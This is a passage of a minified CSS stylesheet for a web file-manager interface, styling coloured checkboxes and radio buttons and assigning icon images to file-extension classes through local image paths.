input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none 